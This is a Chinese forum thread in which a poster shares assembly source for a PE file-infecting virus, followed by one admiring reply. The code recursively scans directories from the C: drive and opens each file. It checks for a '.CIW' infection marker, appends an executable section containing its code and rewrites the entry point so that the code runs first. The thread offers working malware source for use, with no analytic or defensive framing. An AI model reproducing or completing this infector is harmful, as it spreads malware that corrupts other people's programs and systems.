ciw_blue吧 关注:22贴子:259
  • 4回复贴,共1

【源代码】PE病毒

只看楼主收藏回复

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib

;************************************************************************
.data
szSectionName db '.CIW',0
szSrcFileName db 'c:\1.exe',0 ;要感染的文件名
szMsgText db '该文件已经感染过.',0
szMsgCaption db '提示',0
szFindFileName db 'c:\',0

;************************************************************************
.data?
hFile dd ?
lpMemory dd ?
szDriveName db 26 dup(?)
szBuffer1 db 26 * 4 + 1  dup(?)
;************************************************************************
.code
include AddCode.asm

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;感染 Pe 文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_Infect proc _lpHead, _lpPEHead
LOCAL @lpMemory, @dwAddCodeBase, @dwAddCodeFile, @dwOldEntry, @dwTemp, @dwSecNum
LOCAL @szSecName[10] :byte
mov esi, _lpPEHead ;旧的PE头
assume esi: ptr IMAGE_NT_HEADERS
;***************************** 是不是PE文件 ********************************
mov edi, _lpHead
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic != IMAGE_DOS_SIGNATURE
jmp _Ret
.endif
.if [esi].Signature !=  IMAGE_NT_SIGNATURE
jmp _Ret
.endif
;***************************** 是否感染过了 ***********************************
mov edi, esi
movzx ecx, [esi].FileHeader.NumberOfSections
mov @dwSecNum, ecx
add edi, IMAGE_NT_HEADERS
assume edi: ptr IMAGE_SECTION_HEADER
.while ecx

invoke RtlMoveMemory, addr @szSecName, addr [edi].Name1, 8

invoke lstrcmp, addr @szSecName, offset szSectionName
.if !eax
; invoke MessageBox, NULL, offset szMsgText, \
; offset szMsgCaption, MB_OK or MB_ICONERROR 
jmp _Ret
.endif
add edi, IMAGE_SECTION_HEADER
dec @dwSecNum
mov ecx, @dwSecNum
.endw
;****************************************************************************

invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders  ;开辟新的空间
mov @lpMemory, eax

invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头

movzx ecx, [esi].FileHeader.NumberOfSections
dec ecx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ;eax -> 最后一个节表头

mov edi, @lpMemory ;新DOS头
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew ;新PE头
assume edi: ptr IMAGE_NT_HEADERS

mov ebx, edi
add ebx, IMAGE_NT_HEADERS ;新的第一个节表头

mov edx, ebx
add edx, eax ;edx 最后一个节表头

mov ebx, edx
add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾

assume edx: ptr IMAGE_SECTION_HEADER
assume ebx: ptr IMAGE_SECTION_HEADER

pushad
xor eax, eax
mov edi, ebx


1楼2008-04-06 18:27回复
    mov ecx, sizeof IMAGE_SECTION_HEADER
    repz scasb
    popad

    .if  ZERO? ;有空间插入新的节表

    inc [edi].FileHeader.NumberOfSections

    mov eax, [edx].SizeOfRawData 
    invoke _Align, eax, [esi].OptionalHeader.FileAlignment
    add eax, [edx].PointerToRawData  ;最后一个节表单位RAW
    mov [ebx].PointerToRawData, eax

    mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;插入代码的大小
    invoke _Align, ecx, [esi].OptionalHeader.FileAlignment  ;代码关于文件对齐
    mov [ebx].SizeOfRawData, eax

    invoke _Align, ecx, [esi].OptionalHeader.SectionAlignment ;代码关于节对齐
    add [edi].OptionalHeader.SizeOfCode, eax  ;增加原来代码的大小
    add [edi].OptionalHeader.SizeOfImage, eax

    invoke _Align, [edx].Misc.VirtualSize, [esi].OptionalHeader.SectionAlignment
    add eax, [edx].VirtualAddress  ;计算新节表的虚拟地址

    mov [ebx].VirtualAddress, eax
    mov [ebx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE 

    ;设置 Characteristics (可读,可写等)
    mov [ebx].Characteristics, IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE \
    or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

    invoke lstrcpy, addr [ebx].Name1, offset szSectionName  ;设置节表名

    ;*************************** 将代码写到文件的最后 **************************
    invoke SetFilePointer, hFile, [ebx].PointerToRawData, NULL, FILE_BEGIN
    invoke WriteFile, hFile, offset APPEND_CODE, [ebx].Misc.VirtualSize, \ 
    addr @dwTemp, NULL 
    mov eax, [ebx].PointerToRawData
    add eax, [ebx].SizeOfRawData
    invoke SetFilePointer, hFile, eax, NULL, FILE_BEGIN
    invoke SetEndOfFile, hFile
    ;***************************************************************************

    ;************************** 获取 RVA 和 RAW *********************************
    push [ebx].VirtualAddress
    pop @dwAddCodeBase
    push [ebx].PointerToRawData
    pop @dwAddCodeFile
    ;**************************************************************************

    ;************************ 修正旧的程序入口点 *******************************
    push [esi].OptionalHeader.AddressOfEntryPoint
    pop @dwOldEntry
    mov eax, @dwAddCodeBase
    add eax, offset _ToOldEntry - offset APPEND_CODE + 5
    sub @dwOldEntry, eax
    mov ecx, @dwAddCodeFile
    add ecx, offset _dwOldEntry - offset APPEND_CODE
    invoke SetFilePointer, hFile, ecx, NULL, FILE_BEGIN
    invoke WriteFile, hFile, addr @dwOldEntry, 4, addr @dwTemp, 0
    ;***************************************************************************

    ;************************* 设置新的人口点 ***********************************
    mov eax, @dwAddCodeBase
    add eax, offset _NewEntry - offset APPEND_CODE
    mov [edi].OptionalHeader.AddressOfEntryPoint, eax ;设置程序新的入口点

    invoke SetFilePointer, hFile, 0,0, FILE_BEGIN
    invoke WriteFile, hFile, @lpMemory, [esi].OptionalHeader.SizeOfHeaders, \
     addr @dwTemp, 0
    ;****************************************************************************

    ;************************ 关闭工作 *****************************************
      invoke GlobalFree, @lpMemory
      ;***************************************************************************
    .endif

    _Ret:

    ret
    _Infect endp


    2楼2008-04-06 18:27
    回复
      _FindFile proc _lpszPath
      local @stFindFile:WIN32_FIND_DATA
      local @hFindFile
      local @szPath[MAX_PATH]:byte
      local @szSearch[MAX_PATH]:byte
      local @szFindFile[MAX_PATH]:byte

      pushad
      invoke lstrcpy,addr @szPath,_lpszPath
      @@:
      invoke lstrlen,addr @szPath
      lea esi,@szPath
      add esi,eax
      xor eax,eax
      mov al,'\'
      .if byte ptr [esi-1] != al
      mov word ptr [esi],ax
      .endif
      invoke lstrcpy,addr @szSearch,addr @szPath
      invoke lstrcat,addr @szSearch,addr szFilter

      invoke FindFirstFile,addr @szSearch,addr @stFindFile
      .if eax != INVALID_HANDLE_VALUE
      mov @hFindFile,eax
      .repeat
      invoke lstrcpy,addr @szFindFile,addr @szPath
      invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName
      .if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
      .if @stFindFile.cFileName != '.'
      invoke _FindFile,addr @szFindFile
      .endif
      .else

      ;****************** 是文件 ***************************

      ;invoke MessageBox, NULL, addr @szFindFile, NULL, MB_OK

      invoke CreateFile, addr @szFindFile, GENERIC_READ or GENERIC_WRITE,\
        FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL , NULL

      mov hFile, eax
      invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE , 0, 0, NULL

      invoke MapViewOfFile, eax, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0

      .if !eax
      jmp _ExitOpen
      .endif

      mov  lpMemory, eax
      mov esi, eax

      assume esi: ptr IMAGE_DOS_HEADER
      add esi, [esi].e_lfanew

      invoke _Infect, lpMemory, esi

      invoke CloseHandle, hFile 
      ;******************************************************

      .endif
      _ExitOpen:
      invoke FindNextFile,@hFindFile,addr @stFindFile
      .until eax == FALSE
      invoke FindClose,@hFindFile
      .endif
      popad
      ret

      _FindFile endp
      start:
      ;*********************** 获取全部磁盘 *************************
      invoke _FindFile, offset szFindFileName

      invoke GetLogicalDriveStrings, 26 * 4, offset szBuffer1
      lea esi, szBuffer1
      mov edi, 26

      .repeat
      invoke GetDriveType, esi
      .if eax == DRIVE_FIXED ;硬盘

      .endif
      add esi, 4
      dec edi
      .until !byte ptr [esi]
      _Exit:
      invoke ExitProcess, 0
      end start


      3楼2008-04-06 18:28
      回复
        崇拜ing啦


        IP属地:上海5楼2011-08-11 21:08
        回复